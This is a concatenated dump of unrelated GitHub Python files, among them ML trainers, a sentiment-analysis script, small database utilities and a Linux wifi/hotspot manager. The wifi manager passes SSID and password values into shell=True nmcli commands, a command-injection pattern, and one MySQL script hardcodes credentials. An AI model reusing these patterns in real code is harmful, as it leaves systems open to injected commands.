get_closest_news(db, news, role_embedding, 1)\n return closest_article[0]\n","repo_name":"itatmisis/more-tech-4-ananas-anaserver","sub_path":"src/anaserver/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":7020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35589906453","text":"import MySQLdb\ndatabase = MySQLdb.connect(\"localhost\", \"OSAMA\", \"OSAMA\")\ncursor = database.cursor()\ncursor.execute(\"DROP DATABASE IF EXISTS prime_p;\")\ncursor.execute(\"CREATE DATABASE IF NOT EXISTS prime_p DEFAULT CHARSET UTF8 ;\")\ndatabase.select_db('prime_p')\ncursor.execute(\"DROP TABLE IF EXISTS prime_table\")\nsql1 = \"\"\"CREATE TABLE IF NOT EXISTS prime_table (\n RESULT INT(3) NOT NULL ,\n equal VARCHAR(1) NOT NULL ,\n first_number VARCHAR(15) NOT NULL ,\n multiply VARCHAR(1) NOT NULL ,\n second_number VARCHAR(2) NOT NULL , \n Modified_date TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,\n PRIMARY KEY(RESULT)\n )\"\"\"\ncursor.execute(sql1)\nfor number in range(1, 100):\n for x in range(2, number):\n if number % x == 0:\n z = int(number/x)\n sql2 = \"INSERT INTO `prime_table` (`RESULT`, `equal`, `first_number`, `multiply`, `second_number`)\\\n VALUES(%r, %r, %r, %r, %r);\" % (number , \"=\", x, \"*\", z)\n cursor.execute(sql2)\n print (number, '=', x, '*', z)\n break\n else:\n sql3 = \"INSERT INTO `prime_table` (`RESULT`, `equal`, `first_number`, `multiply`, `second_number`)\\\n VALUES(%r, %r, %r, %r, %r);\" % (number, \" \", \"is prime number\", \" \", \" \")\n cursor.execute(sql3)\n print(number, 'is prime number')\ntry:\n database.commit()\nexcept:\n database.rollback()\ndatabase.close()\n","repo_name":"osama-mohamed/python_projects","sub_path":"python projects 2.7/for loop prime number with save in database.py","file_name":"for loop prime number with save in database.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72951611363","text":"from typing import NamedTuple, Dict, Any, List, Tuple, Optional\n\nimport tensorflow as tf\n\nimport os\n\nimport logging\n\nimport datetime\n\nfrom ..utils.aggregator import Aggregator, SummaryOp, SummaryInfo\n\nlogger = logging.getLogger(__name__)\n\n\nclass Model(object):\n def loss(self) -> tf.Tensor:\n \"\"\"\n loss op\n :return:\n \"\"\"\n raise NotImplementedError('loss must be implemented by subclasses')\n\n def feed_dict(self, sample: Any, train: bool) -> Dict[tf.Tensor, Any]:\n \"\"\"\n feed dict for a run\n :param sample: sample to build feed dict from, taken from the feeder\n :param train: true if this is for a training run\n :return: feed dict for a run\n \"\"\"\n raise NotImplementedError('feed_dict must be implemented by subclasses')\n\n def summary_infos(self) -> List[SummaryInfo]:\n \"\"\"\n summary infos to aggregate\n \"\"\"\n raise NotImplementedError('summary_infos must be implemented by subclasses')\n\n def summaries_to_fetch(self) -> Dict[str, tf.Tensor]:\n \"\"\"\n summaries to fetch for a run, should NOT include training op or loss op\n :return: summaries to fetch for a run\n \"\"\"\n raise NotImplementedError('summaries_to_fetch must be implemented by subclasses')\n\n\nclass DataFeeder(object):\n \"\"\"DataFeeder defines an abstract class that iterates over records of any type.\"\"\"\n def next(self) -> Any:\n raise NotImplementedError(\"subclasses of DataFeeder must implement next\")\n\n def stop(self):\n raise NotImplementedError(\"subclasses of DataFeeder must implement stop\")\n\n\nclass Config(NamedTuple):\n clip_gradients: bool = False\n max_gradient_norm: float = 1.\n learning_rate: float = 1e-4\n warmup_steps: int = 50000\n starting_rate: float = 0.35 # ratio of learning_rate to start at step 0\n steps: int = int(1e6)\n skip_grad_summaries: bool = False\n\n\nclass Result(NamedTuple):\n loss: float\n summaries: Dict[str, Any]\n\n\nclass TrainInputs(NamedTuple):\n session: tf.compat.v1.Session\n train_feeder: DataFeeder\n val_feeder: DataFeeder\n summary_writer: tf.compat.v1.summary.FileWriter\n checkpoint_save_path: str\n starting_step: int\n validation_interval: int = 50\n validation_based_checkpoint: bool = False\n validation_smoothing_weight: float = 0.8\n checkpoint_interval: int = 50000\n # summary_interval defines the interval at which scalars get averaged and sent to tensorboard.\n summary_interval: int = 50\n broadcast_interval: int = 50000\n\n\nclass _Trainer(object):\n def optimizer(self) -> tf.compat.v1.train.Optimizer:\n \"\"\"\n optimizer to use\n :return: optimizer to use\n \"\"\"\n raise NotImplementedError('sub classes must implement optimizer')\n\n def distributed(self) -> bool:\n \"\"\"\n :return: whether this trainer is distribued aware.\n \"\"\"\n raise NotImplementedError('sub classes must implement optimizer')\n\n def broadcast_global_variables(self, session: tf.compat.v1.Session):\n \"\"\"\n implement brodcast behavior to sync global variables between replicas.\n only used in the horovod trainer.\n \"\"\"\n raise NotImplementedError('sub classes must implement broadcast_global_variables')\n\n def rank(self) -> int:\n \"\"\"\n return the rank of the current replica\n \"\"\"\n raise NotImplementedError('sub classes must implement rank')\n\n def optimizer_feeds(self, global_step) -> Dict[tf.Tensor, Any]:\n \"\"\"\n return optimizer-specific feed dict\n \"\"\"\n raise NotImplementedError('sub classes must implement optimizer_feeds')\n\n def summary_infos(self) -> List[SummaryInfo]:\n \"\"\"\n summary infos to aggregate\n \"\"\"\n raise NotImplementedError('summary_infos must be implemented by subclasses')\n\n def summaries_to_fetch(self) -> Dict[str, tf.Tensor]:\n \"\"\"\n summaries to fetch for a run, should NOT include training op or loss op\n :return: summaries to fetch for a run\n \"\"\"\n raise NotImplementedError('summaries_to_fetch must be implemented by subclasses')\n\n def __init__(self, model: Model, config: Config):\n self._model = model\n self._config = config\n self._build()\n\n def _build(self):\n self._add_train_op()\n self._build_grad_scalars()\n\n def _add_train_op(self):\n with tf.name_scope('train'):\n optimizer = self.optimizer()\n\n clipped: List[Tuple[Optional[tf.Tensor], tf.Variable]] = []\n grads: List[Tuple[tf.Tensor, tf.Variable]] = []\n for grad, var in optimizer.compute_gradients(self._model.loss()):\n if grad is not None:\n if self._config.clip_gradients:\n grad = tf.clip_by_norm(grad, self._config.max_gradient_norm)\n clipped.append((grad, var))\n grads.append((grad, var))\n else:\n clipped.append((grad, var))\n self._grads = grads\n self._train_op = optimizer.apply_gradients(clipped)\n\n def _build_grad_scalars(self):\n if self._config.skip_grad_summaries:\n self._grad_scalars = {}\n return\n\n scalars: Dict[str, tf.Tensor] = {}\n for grad, var in self._grads:\n name = \"norm_gradient_wrt_{}\".format(var.name).replace(\":\", \"_\")\n scalars[name] = tf.norm(grad)\n self._grad_scalars = scalars\n\n def _run(self, sess: tf.compat.v1.Session, global_step: int, sample: Any, train: bool) -> Result:\n feeds = dict()\n feeds.update(self._model.feed_dict(sample, train))\n\n summaries_to_fetch = dict()\n summaries_to_fetch.update(self._model.summaries_to_fetch())\n\n fetches = {'loss': self._model.loss()}\n\n if train:\n feeds.update(self.optimizer_feeds(global_step))\n summaries_to_fetch.update(self.summaries_to_fetch())\n summaries_to_fetch.update(self._grad_scalars)\n fetches['train'] = self._train_op\n\n for metric, scalar in summaries_to_fetch.items():\n fetches['summary/' + metric] = scalar\n\n result = sess.run(fetches, feeds)\n\n summaries = {metric: result['summary/' + metric]\n for metric in summaries_to_fetch.keys()}\n\n summaries['loss'] = result['loss']\n\n return Result(loss=result['loss'], summaries=summaries)\n\n def train(self, ti: TrainInputs):\n ti.summary_writer.add_graph(ti.session.graph)\n # initialize saver and make sure its save directory exists\n os.makedirs(os.path.dirname(ti.checkpoint_save_path), exist_ok=True)\n saver = tf.train.Saver(max_to_keep=1)\n\n summary_info = self._model.summary_infos() + [SummaryInfo('loss')]\n with tf.name_scope('train_summary'):\n grad_info = [SummaryInfo(k) for k in self._grad_scalars.keys()]\n train_info = summary_info + grad_info + self.summary_infos()\n train_aggregator = Aggregator(SummaryOp.build(train_info))\n with tf.name_scope('validate_summary'):\n val_aggregator = Aggregator(SummaryOp.build(summary_info))\n\n logging.info(\"Running training for {} steps\".format(self._config.steps))\n max_validation_acc = 0\n moving_validation_acc = 0\n for step in range(ti.starting_step, ti.starting_step + self._config.steps):\n start = datetime.datetime.now()\n train_res = self._run(ti.session, step+1, ti.train_feeder.next(), train=True)\n duration = datetime.datetime.now() - start\n\n logging.info(\"step {}: loss {}, took {}\".format(step, train_res.loss, duration))\n train_aggregator.add(train_res.summaries)\n\n if step > 0 and step % ti.validation_interval == 0:\n start = datetime.datetime.now()\n validate_res = self._run(ti.session, step+1, ti.val_feeder.next(), train=False)\n duration = datetime.datetime.now() - start\n logging.info(\"validation {}, loss {}, took {}\".format(step, validate_res.loss, duration))\n\n if ti.validation_based_checkpoint:\n if moving_validation_acc == 0:\n moving_validation_acc = validate_res.summaries['accuracy']\n else:\n moving_validation_acc = ti.validation_smoothing_weight * moving_validation_acc + \\\n (1 - ti.validation_smoothing_weight) * validate_res.summaries['accuracy']\n if moving_validation_acc > max_validation_acc:\n logging.info('check pointing model at step {} with smoothed validation accuracy {}'.\n format(step, moving_validation_acc))\n saver.save(ti.session, ti.checkpoint_save_path, write_meta_graph=False, global_step=step)\n logging.info('model saved to {}'.format(ti.checkpoint_save_path))\n max_validation_acc = moving_validation_acc\n else:\n logging.info('skipping check pointing model at step {} with smoothed validation accuracy {}'.\n format(step, moving_validation_acc))\n\n val_aggregator.add(validate_res.summaries)\n\n # periodically broadcast variables to keep mirrors in sync\n if self.distributed() and step > 0 and step % ti.broadcast_interval == 0:\n start = datetime.datetime.now()\n self.broadcast_global_variables(ti.session)\n duration = datetime.datetime.now() - start\n logging.info(\"broadcast global variables at step {}, took {}\".format(step, duration))\n\n if self.rank() == 0 and not ti.validation_based_checkpoint and \\\n (step == 0 or (step + 1) % ti.checkpoint_interval == 0):\n logging.info('check pointing the model at step {}'.format(step))\n saver.save(ti.session, ti.checkpoint_save_path, write_meta_graph=False, global_step=step)\n logging.info('model saved to {}'.format(ti.checkpoint_save_path))\n\n if step > 0 and step % ti.summary_interval == 0:\n for agg in [train_aggregator, val_aggregator]:\n if agg.n_steps > 0:\n summary = agg.get_summary(ti.session)\n ti.summary_writer.add_summary(summary, step)\n\n\nclass AdamTrainer(_Trainer):\n def __init__(self, model: Model, config: Config):\n self._optimizer: tf.compat.v1.train.Optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=config.learning_rate)\n super().__init__(model, config)\n\n def optimizer(self) -> tf.compat.v1.train.Optimizer:\n return self._optimizer\n\n def distributed(self) -> bool:\n return False\n\n def rank(self) -> int:\n return 0\n\n def broadcast_global_variables(self, session: tf.compat.v1.Session):\n pass\n\n def optimizer_feeds(self, global_step) -> Dict[tf.Tensor, Any]:\n return {}\n\n def summary_infos(self) -> List[SummaryInfo]:\n return []\n\n def summaries_to_fetch(self) -> Dict[str, tf.Tensor]:\n return {}","repo_name":"kiteco/kiteco-public","sub_path":"kite-python/kite_ml/kite/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11323,"program_lang":"python","lang":"en","doc_type":"code","stars":678,"dataset":"github-code","pt":"54"} +{"seq_id":"31838701446","text":"from cosmoslik import SlikPlugin, param\nfrom numpy import inf\n\nclass priors(SlikPlugin):\n \n def __init__(self,params):\n self.gaussian_priors = []\n self.uniform_priors = []\n\n for k in params.find_sampled(): \n if hasattr(params[k], \"gaussian_prior\"): self.add_gaussian_prior(k, *params[k].gaussian_prior)\n if hasattr(params[k], \"uniform_prior\"): self.add_uniform_prior(k, *params[k].uniform_prior)\n if hasattr(params[k], \"range\"): self.add_uniform_prior(k, *params[k].range)\n if hasattr(params[k], \"min\") and hasattr(params[k], \"max\"): self.add_uniform_prior(k, params[k].min, params[k].max)\n if hasattr(params[k], \"min\"): self.add_uniform_prior(k, params[k].min, inf)\n if hasattr(params[k], \"max\"): self.add_uniform_prior(k, -inf, params[k].max)\n \n def add_gaussian_prior(self,param,mean,std):\n self.gaussian_priors.append((param,mean,std))\n \n def add_uniform_prior(self,param,min,max):\n self.uniform_priors.append((param,min,max))\n \n def __call__(self,params):\n param_ok = lambda n: n in params and not isinstance(params[n],param)\n for n, lower, upper in self.uniform_priors:\n if param_ok(n) and not (lower<=params[n]<=upper): \n return inf\n \n return sum((params[n]-c)**2./2/w**2 for n,c,w in self.gaussian_priors if param_ok(n))\n \n","repo_name":"marius311/cosmoslik","sub_path":"cosmoslik_plugins/likelihoods/priors.py","file_name":"priors.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"44469496979","text":"from enum import Enum\n\nfrom peewee import (\n Model,\n SqliteDatabase,\n PostgresqlDatabase,\n AutoField,\n IntegerField,\n)\n\n\nclass SubscribeType(Enum):\n ALL = 0\n FAILED = 1\n\n\nclass DB:\n def __init__(self, config):\n db_name = config.get('name')\n if db_name is None:\n db_file = config.get('file')\n if db_file is None:\n db_file = 'bot.db'\n db = SqliteDatabase(db_file)\n else:\n db_user = config.get('user', 'delivery_checker_bot')\n db_password = config.get('password')\n db = PostgresqlDatabase(db_name, user=db_user, password=db_password)\n\n class BaseModel(Model):\n class Meta:\n database = db\n\n class User(BaseModel):\n id = AutoField()\n chat_id = IntegerField(unique=True)\n subscribe_type = IntegerField()\n\n self.User = User\n self.User.create_table()\n\n def subscribe(self, chat_id: int, subscribe_type: SubscribeType):\n user = self.User.get_or_none(self.User.chat_id == chat_id)\n if user is not None:\n user.subscribe_type = subscribe_type.value\n user.save()\n else:\n user = self.User(\n chat_id=chat_id,\n subscribe_type=subscribe_type.value,\n )\n user.save()\n\n return user\n\n def unsubscribe(self, chat_id: int):\n test = self.User.delete().where(self.User.chat_id == chat_id)\n return test.execute()\n\n def get_subscribers_for_all(self):\n users = []\n for user in self.User.select(self.User.chat_id).where(self.User.subscribe_type == SubscribeType.ALL.value):\n users.append(user.chat_id)\n return users\n\n def get_subscribers_for_failed(self):\n users = []\n for user in self.User.select(self.User.chat_id):\n users.append(user.chat_id)\n return users\n","repo_name":"tarantool/delivery-checker","sub_path":"telegram_bot/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36945502428","text":"\nimport wireless\nimport wifi\nimport json\nimport subprocess\nimport re\nimport platform\nimport atexit\nfrom cosmo import logger\n\nnmcli = \"nmcli\"\n\n# Cosmo Wifi Class - For Connecting to Wifi Networks and Reading Wifi Config\nclass Wifi:\n def __init__(self, device):\n self.device = device\n\n # Create our vars\n self.wifi_ssid = None\n self.wifi_password = None\n self.modem = None\n\n # Custom Logger time from that lengthy import above\n self.logger = logger.SubLogger(\"WifiManager\")\n\n self._register_exit_handler()\n\n # Check if we can run nmcli on linux\n @staticmethod\n def check_platform():\n if platform.system() == \"Linux\":\n out = subprocess.check_call(\"nmcli -v\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n return out == 0\n else:\n return False\n\n # Get Data From File\n def load(self):\n data = json.load(open(\"data/device/wifi.json\"))\n self.wifi_ssid = data[\"wifi\"][\"ssid\"]\n self.wifi_password = data[\"wifi\"][\"password\"]\n self.modem = data[\"modem\"]\n\n # Check the status of the modem\n def status(self):\n if not self.check_platform():\n self.logger.warn(\"Failed to Execute 'Status Check' due to platform compatibility Issues.\")\n return False, None\n self.logger.debug(f\"Checking Status of interface '{self.modem}'\")\n try:\n out = subprocess.check_output(f\"{nmcli} d show {self.modem}\", shell=True).decode(\"UTF-8\")\n except subprocess.CalledProcessError:\n return False, None\n data = re.compile(r\"GENERAL\\.STATE:[ ]*([0-9]*) ([\\(\\)a-z]*)\").findall(out)\n data = data[0][1].replace(\"(\", \"\").replace(\")\", \"\")\n return data == \"connected\", data\n\n def connect(self):\n if not self.check_platform():\n self.logger.warn(\"Failed to Execute 'WIFI Connection' due to platform compatibility Issues.\")\n return None\n self.logger.debug(f\"Connecting to '{self.wifi_ssid}' on interface'{self.modem}'\")\n if not self.configured(): return None\n cmd = f\"{nmcli} d wifi connect \\\"{self.wifi_ssid}\\\" password \\\"{self.wifi_password}\\\" ifname \\\"{self.modem}\\\"\"\n try:\n out = subprocess.check_output(cmd, shell=True).decode(\"UTF-8\")\n except subprocess.CalledProcessError:\n return False\n self.logger.debug(f\"Connected to '{self.wifi_ssid}'\")\n return \"successfully\" in out\n\n def configured(self):\n return None not in [self.wifi_ssid, self.wifi_password]\n\n def disconnect(self):\n if not self.check_platform():\n self.logger.warn(\"Failed to Execute 'WIFI Disconnection' due to platform compatibility Issues.\")\n return None\n self.logger.debug(f\"Disconnecting from '{self.wifi_ssid}' on interface {self.modem}\")\n cmd = f\"{nmcli} d disconnect \\\"{self.modem}\\\"\"\n try:\n out = subprocess.check_output(cmd, shell=True).decode(\"UTF-8\")\n except subprocess.CalledProcessError:\n return False\n return \"successfully\" in out\n\n def save(self):\n with open(\"data/device/wifi.json\", \"r\") as f:\n data = json.loads(f.read())\n data[\"wifi\"][\"ssid\"] = self.wifi_ssid\n data[\"wifi\"][\"password\"] = self.wifi_password\n data[\"modem\"] = self.modem\n with open(\"data/device/wifi.json\", \"w\") as f:\n f.write(json.dumps(data))\n\n def find_modem(self):\n try:\n data = re.compile(r\"([a-zA-Z0-9]+) *wifi\").findall(subprocess.check_output(f\"{nmcli} d\", shell=True).decode(\"UTF-8\"))\n return data[0]\n except IndexError:\n return None\n except subprocess.SubprocessError:\n return None\n\n def _register_exit_handler(self):\n @atexit.register\n def _exit_handler():\n if self.status != None and self.status()[0]:\n self.logger.warn(\"Stopping Wifi Connection, as was not closed before code exit. \")\n self.disconnect()\n\nclass WifiHotspot:\n def __init__(self, device):\n self.device = device\n self.ssid = None\n\n self.modem = None\n self.con_name = \"cosmo_host\"\n\n # Custom Logger time from that lengthy import above\n self.logger = logger.SubLogger(\"WifiHotspot\")\n\n self._register_exit_handler()\n\n def status(self):\n return Wifi.status(self) # Works, Trust me.\n\n def check_platform(self):\n return Wifi.check_platform()\n\n def load(self):\n if self.ssid is None:\n ssid_number = str(int(self.device.serial.split(\"-\", 1)[0], 16) / 10000).split(\".\", 1)[1]\n self.ssid = self.device.device_type + \"-\" + ssid_number\n data = json.load(open(\"data/device/wifi.json\"))\n self.modem = data[\"modem\"]\n\n def start(self):\n self.logger.debug(f\"Starting Hotspot on '{self.modem}'\")\n if not self.check_platform():\n self.logger.warn(\"Failed to Execute 'WIFI Hotspot Start' due to platform compatibility Issues.\")\n return None\n cmd = f\"{nmcli} d wifi hotspot ifname \\\"{self.modem}\\\" con-name \\\"{self.con_name}\\\" ssid \\\"{self.ssid}\\\"\"\n try:\n out = subprocess.check_output(cmd, shell=True).decode(\"UTF-8\")\n except subprocess.CalledProcessError:\n return False\n self.logger.debug(f\"Created Hotspot '{self.ssid}' on {self.modem}\")\n return \"successfully\" in out\n\n def stop(self):\n if not self.check_platform():\n self.logger.warn(\"Failed to Execute 'WIFI Hotspot Stop' due to platform compatibility Issues.\")\n return None\n self.logger.debug(f\"Stopping hotspot '{self.ssid}' on interface {self.modem}\")\n cmd = f\"{nmcli} d disconnect \\\"{self.modem}\\\"\"\n try:\n out = subprocess.check_output(cmd, shell=True).decode(\"UTF-8\")\n except subprocess.CalledProcessError:\n return False\n return \"successfully\" in out\n\n def _register_exit_handler(self):\n @atexit.register\n def _exit_handler():\n if self.status()[0]:\n self.logger.warn(\"Stopping Hotspot Connection, as was not closed before code exit. \")\n self.stop()\n","repo_name":"SamHDev/Cosmo","sub_path":"cosmo/core/device/wifi.py","file_name":"wifi.py","file_ext":"py","file_size_in_byte":6274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3817046830","text":"class Solution(object):\n def containsNearbyDuplicate(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: bool\n \"\"\"\n n = len(nums)\n ns = [(nums[i], i) for i in range(n)]\n ns.sort()\n for i in range(1, n):\n if ns[i][0] == ns[i-1][0] and abs(ns[i][1]-ns[i-1][1]) <= k:\n return True\n return False","repo_name":"chaozc/leetcode","sub_path":"python/p219.py","file_name":"p219.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24032609285","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 25 21:20:24 2018\n\n@author: rushikesh\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndataset = pd.read_csv('chennai_reviews.csv')\n\n#Removing unnecessary features\ndataset = dataset.drop(['Unnamed: 8', 'Unnamed: 6', 'Unnamed: 7','Unnamed: 5'], axis=1)\n\n#Removing sentiments having text that is len more than or equal to 2\ndf = dataset[[(len(str(x))<2) for x in dataset['Sentiment']]]\n\nX_pre = df.iloc[:,[0,2]]\nX = df.iloc[:,[2]]\ny = df.iloc[:, 3]\n\n#Splitting data into training and testing data\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\nX_pre_train, X_pre_test, y_pre_test, y_pre_test = train_test_split(X_pre, y, test_size = 0.2, random_state = 0)\n#########---------------------------------##########################\n########################Model-1#########################################\n\n#Buildign a word count vector \nfrom sklearn.feature_extraction.text import CountVectorizer\n\nvect = CountVectorizer()\n\n\nX_train_vectorized = vect.fit_transform(X_train['Review_Text'])\n\n\n\n\n#Applying Logistic Regreesion\nfrom sklearn.linear_model import LogisticRegression\n\nmodel = LogisticRegression()\nmodel.fit(X_train_vectorized, y_train)\n\n\n#Applying Random Forest Classifier\nfrom sklearn.ensemble import RandomForestClassifier\nclassifier = RandomForestClassifier(n_estimators=5000)\nclassifier.fit(X_train_vectorized, y_train)\n\n\n\n\n\n\n\npredictions = model.predict(vect.transform(X_test['Review_Text']))\npredictions1 = classifier.predict(vect.transform(X_test['Review_Text']))\n\n\n\n\nfrom sklearn.metrics import confusion_matrix\n\ncm = confusion_matrix(y_test, predictions)\ncm1 = confusion_matrix(y_test, predictions1)\n#got 0.80with RandomForest\n\n#got 0.80 accuracy evaluated using confusion matrix with logistic regrssion\n\n\nfeature_names = np.array(vect.get_feature_names())\nsorted_coef_index = model.coef_[0].argsort()\n#printing most negative and positive words\nprint('Smallest Coefs: \\n{} \\n'.format(feature_names[sorted_coef_index[:10]]))\nprint('Largest Coefs: \\n{} \\n'.format(feature_names[sorted_coef_index[:-11:-1]]))\n\n\n###########------------------------###############################\n#######################Model-2##########################################\n\n#Tf-idf term weighting \nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n#min_df = 5 will remove words from vocabulary that appears in less than five doc\nvect = TfidfVectorizer(min_df=5).fit(X_train['Review_Text'])\nlen(vect.get_feature_names())\n#reduced features to 1808 from 5619\n\nX_train_vectorized = vect.transform(X_train['Review_Text'])\n\nmodel = LogisticRegression()\nmodel.fit(X_train_vectorized, y_train)\npredictions = model.predict(vect.transform(X_test['Review_Text']))\ncm = confusion_matrix(y_test, predictions)\n#Though we reduced the features from 5619 to 1808 the accuracy reduced to 0.78 from 0.80\n\n\nfeature_names = np.array(vect.get_feature_names())\n\nsorted_tfidf_index = X_train_vectorized.max(0).toarray()[0].argsort()\nprint('Smallest Coefs: \\n{} \\n'.format(feature_names[sorted_tfidf_index[:10]]))\nprint('Largest Coefs: \\n{} \\n'.format(feature_names[sorted_tfidf_index[:-11:-1]]))\n\n\n##############-----------------------------#########################\n#########################Model-3#################################\n\n\n#using n grams to consider two words together like not good\n#Since it is very different from good\n\nvect = CountVectorizer(min_df = 5, ngram_range = (1,3)).fit(X_train['Review_Text'])\nX_train_vectorized = vect.transform(X_train['Review_Text'])\nlen(vect.get_feature_names())\na = X_train_vectorized.toarray()\n#since we considered the ngrams the features increased to 6137\n\nmodel = LogisticRegression()\nmodel.fit(X_train_vectorized, y_train)\npredictions = model.predict(vect.transform(X_test['Review_Text']))\n\ncm = confusion_matrix(y_test, predictions)\n#this increased our accuracy to 0.82\n\n\n\n\n\n\nfeature_names = np.array(vect.get_feature_names())\nsorted_coef_index = model.coef_[0].argsort()\n\n\n#printing most negative and positive words\nprint('Smallest Coefs: \\n{} \\n'.format(feature_names[sorted_coef_index[:10]]))\nprint('Largest Coefs: \\n{} \\n'.format(feature_names[sorted_coef_index[:-11:-1]]))\n\n\n\n\n\n#Naive Bayes approach\nfrom sklearn.naive_bayes import GaussianNB\nclf = GaussianNB()\nclf.fit(a, y_train)\n\nX_test_vectorized = vect.transform(X_test['Review_Text'])\nb = X_test_vectorized.toarray()\n\npredict1 = clf.predict(b)\ncm2 = confusion_matrix(y_test, predict1)\n#accuracy using naivebayes is 0.75\n\n\n##############------------------------###########################\n##############Predicting best and worst hotels and reviews#############\n\n#probab contains the confidence of prediction\nprobab = model.predict_proba(vect.transform(X_test['Review_Text']))\nX_test_pred = np.array(X_pre_test)\n\n\n\nsorted_prob = probab[:,2].argsort()\nbest_reviews = X_test_pred[sorted_prob[-10:]]\nworst_reviews = X_test_pred[sorted_prob[:10]]\n\nbest_hotels = X_test_pred[sorted_prob[-10:]][:,0]\nworst_hotels = X_test_pred[sorted_prob[:10]][:,0]\n\n\n\n\n\n\n","repo_name":"ethicalrushi/Hotel_Review","sub_path":"hotel_review.py","file_name":"hotel_review.py","file_ext":"py","file_size_in_byte":5127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"18178615138","text":"\nimport os\n\nf = open('shippy.pov', 'r')\npovtext = f.read()\nf.close()\n\ndef render_once(color):\n s = povtext.replace('BACKGROUND_COLOR', color)\n s = s.replace('SHAPE_ON', '1')\n f = open('out/tmp.pov', 'w')\n f.write(s)\n f.close()\n\n os.system('povray shippy.ini out/tmp.pov -Oout/out')\n os.remove('out/tmp.pov')\n\nrender_once('<0,0,1>')\n","repo_name":"petersont/little-povray","sub_path":"shippy/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24797091265","text":"from abc import ABC, abstractmethod\n\nimport importlib\n\n\nclass Command(ABC):\n @abstractmethod\n def execute(self, **event: dict):\n raise NotImplementedError\n\n\ndef create_command(**kwargs: dict) -> Command:\n \"\"\" Create a command from the given arguments\n The arguments must contain the following\n - command_name: The name of the command to create\n - command_module: The module containing the command \"\"\"\n\n # Get the command name and module from the args\n command_module = str(kwargs.get(\"command_module\"))\n command_name = str(kwargs.get(\"command_name\"))\n\n # Check if the command module and name are provided\n if command_module is None:\n raise Exception(\"Command module not specified\")\n if command_name is None:\n raise Exception(\"Command name not specified\")\n\n # Import the command module\n command_collection_module = importlib.import_module(\n f\"launchpad.commands.collection.{command_module}\"\n )\n\n return getattr(command_collection_module, command_name)(**kwargs)\n","repo_name":"GjergjiSh/launchkey-deck","sub_path":"launchpad/commands/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"12677624451","text":"import os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nAPI_TOKEN = os.getenv('API_TOKEN')\n\nimport json\nimport requests\nheaders = {\"Authorization\": f\"Bearer {API_TOKEN}\"}\nAPI_URL = \"https://api-inference.huggingface.co/models/Helsinki-NLP/opus-mt-ru-en\"\ndef query(payload):\n data = json.dumps(payload)\n response = requests.request(\"POST\", API_URL, headers=headers, data=data)\n return json.loads(response.content.decode(\"utf-8\"))\ndata = query(\n {\n \"inputs\": [\"Меня зовут Вольфганг и я живу в Берлине\", \"Я ученый из Петровграда.\"],\n }\n)\n\nprint(data)\n","repo_name":"SNorebo/MI-Benchmark-BSc-Szakdolgozat","sub_path":"Model tryout/accessing_inference_api.py","file_name":"accessing_inference_api.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42471055636","text":"from transformers.tokenization_utils_base import PreTrainedTokenizerBase, PaddingStrategy\nfrom dataclasses import dataclass\nimport numpy as np\nfrom typing import Optional, Union\nfrom transformers import AutoTokenizer, T5Tokenizer\nimport torch\nimport rouge\n\nending_names = ['A', 'B', 'C', 'D']\n\ndef compute_metrics(eval_predictions):\n predictions, label_ids = eval_predictions\n preds = np.argmax(predictions, axis=1)\n return {\"accuracy\": (preds == label_ids).astype(np.float32).mean().item()}\n\n\n@dataclass\nclass DataCollatorForMultipleChoice:\n \"\"\"\n Data collator that will dynamically pad the inputs for multiple choice received.\n \"\"\"\n\n tokenizer: PreTrainedTokenizerBase\n padding: Union[bool, str, PaddingStrategy] = True\n max_length: Optional[int] = None\n pad_to_multiple_of: Optional[int] = None\n\n def __call__(self, features):\n label_name = \"label\" if \"label\" in features[0].keys() else \"labels\"\n labels = [ending_names.index(feature.pop(label_name)) for feature in features]\n batch_size = len(features)\n num_choices = len(features[0][\"input_ids\"])\n flattened_features = [[{k: v[i] for k, v in feature.items()} for i in range(num_choices)] for feature in features]\n flattened_features = sum(flattened_features, [])\n\n batch = self.tokenizer.pad(\n flattened_features,\n padding=self.padding,\n max_length=self.max_length,\n pad_to_multiple_of=self.pad_to_multiple_of,\n return_tensors=\"pt\",\n )\n\n # Un-flatten\n batch = {k: v.view(batch_size, num_choices, -1) for k, v in batch.items()}\n # Add back labels\n batch[\"labels\"] = torch.tensor(labels, dtype=torch.int64)\n return batch\n\n\ndef get_input_feature(samples, max_source_length, max_len_gen, device, tokenizer):\n sep = ' '\n output_clue = []\n answers = []\n input_ids_q, attention_mask_q = [], []\n 